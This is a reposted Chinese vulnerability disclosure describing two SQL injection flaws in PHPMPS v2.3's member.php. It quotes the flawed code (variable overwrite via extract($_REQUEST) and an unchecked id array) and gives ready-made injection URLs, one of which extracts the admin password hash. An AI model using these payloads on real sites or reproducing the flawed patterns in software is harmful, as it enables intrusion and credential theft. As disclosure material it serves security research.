热门关键字:   网站安全  系统安全  安全漏洞  黑客攻防  网络安全

phpmps_v2.3最新版两处SQL注入漏洞

发布时间:2013-11-18 21:27文章来源:网络文章作者:My5t3ry 点击次数:
摘要:漏洞作者: My5t3ry 提交时间: 2013-08-20 18:24 公开时间: 2013-11-18 18:25 漏洞类型: SQL注射漏洞 简要描述: PHPMPS对用户提交的参数处理不当,导致多个SQL注入漏洞. 详细说明: member.php 422 - 455 case'exchange': $ units = array ('gold'= '枚'...

漏洞作者: My5t3ry

提交时间: 2013-08-20 18:24
公开时间: 2013-11-18 18:25

漏洞类型: SQL注射漏洞
简要描述:

PHPMPS对用户提交的参数处理不当,导致多个SQL注入漏洞.
详细说明:

member.php 422 - 455

 

 

  1. case 'exchange': 
  2.  
  3. $units = array('gold'=>'枚', 'money'=>'元', 'credit'=>'分'); 
  4.  
  5. $types = array('money'=>'资金', 'gold'=>'信息币', 'credit'=>'积分'); 
  6.  
  7. $notes = array('login'=>'登陆积分', 'post_info_credit'=>'发布信息积分' ,'post_comment_credit'=>'发布评论积分' ,'info_refer'=>'一键更新信息' ,'info_top'=>'信息置顶' , 'credit2gold'=>'积分兑换信息币', 'money2gold'=>'资金购买信息币'); 
  8.  
  9. extract($_REQUEST); 
  10.  
  11. $page = isset($page) ? intval($page) : 1; 
  12.  
  13. $pagesize = 20
  14.  
  15. $sql = ''
  16.  
  17. if($type) $sql ." AND type='$type' "
  18.  
  19. if($begindate) { 
  20.  
  21. $begintime = strtotime($begindate.' 00:00:00'); 
  22.  
  23. $sql ." AND addtime>=$begintime "
  24.  
  25.  
  26. if($enddate) { 
  27.  
  28. $endtime = strtotime($enddate.' 23:59:59'); 
  29.  
  30. $sql ." AND addtime<=$endtime"
  31.  
  32.  
  33. $r = $db->getOne("SELECT count(*) as number FROM {$table}pay_exchange WHERE username='$_username' $sql"); 
  34.  
  35. $pager['search'] = array('act' => 'exchange'); 
  36.  
  37. $pager = get_pager('member.php', $pager['search'], $r, $page, $pagesize); 
  38.  
  39. $exchanges = array(); 
  40.  
  41. $result = $db->query("SELECT * FROM {$table}pay_exchange WHERE username='$_username' $sql ORDER BY exchangeid DESC LIMIT $pager[start],$pager[size]"); 
  42.  
  43. while($r = $db->fetchrow($result)) { 
  44.  
  45. $r['unit'] = $units[$r['type']]; 
  46.  
  47. $r['type'] = $types[$r['type']]; 
  48.  
  49. $r['note'] = !empty($notes[$r['note']]) ? $notes[$r['note']] : $r['note']; 
  50.  
  51. $r['addtime'] = date('Y-m-d h:i:s', $r['addtime']); 
  52.  
  53. $exchanges[] = $r; 
  54.  
  55.  
  56. $seo['title'] = '交易详情'; 
  57.  
  58. include template('member_exchange'); 
  59.  
  60. break; 

 

上面的代码使用了extract($_REQUEST);

导致我们可以覆盖任意变量,通过覆盖变量$table可以构造注入

利用如下:

 http://www.yunsec.net/phpmps/member.php?act=check_info_gold&table=phpmps_member%20where%201=1%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28select%20password%20from%20phpmps_admin%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23

 

SQL漏洞2:

============================================================================================

member.php 741 - 746 SQL http://192.168.116.128/phpmps/member.php?act=delete&id[]=1a

============================================================================================

 

  1. case 'delete': 
  2.  
  3. $id = is_array($_REQUEST['id']) ? join(',', $_REQUEST['id']) : intval($_REQUEST['id']); 
  4.  
  5. if(empty($id))showmsg('没有选择记录'); 
  6.  
  7. $db->query("DELETE FROM {$table}comment WHERE id IN ($id)"); 
  8.  
  9. showmsg('删除成功', 'member.php?act=info_comment'); 
  10.  
  11. break; 

============================================================================================

 

这里没有考虑$id为数组的情况,当提交数组的时候可以注入。

如: http://www.yunsec.net/phpmps/member.php?act=delete&id[]=1a

标签分类:

上一篇:ShopEx4.85最新版本SQL注入 EXP
下一篇:Siteserver 3.6.3版本存在SQL注入漏洞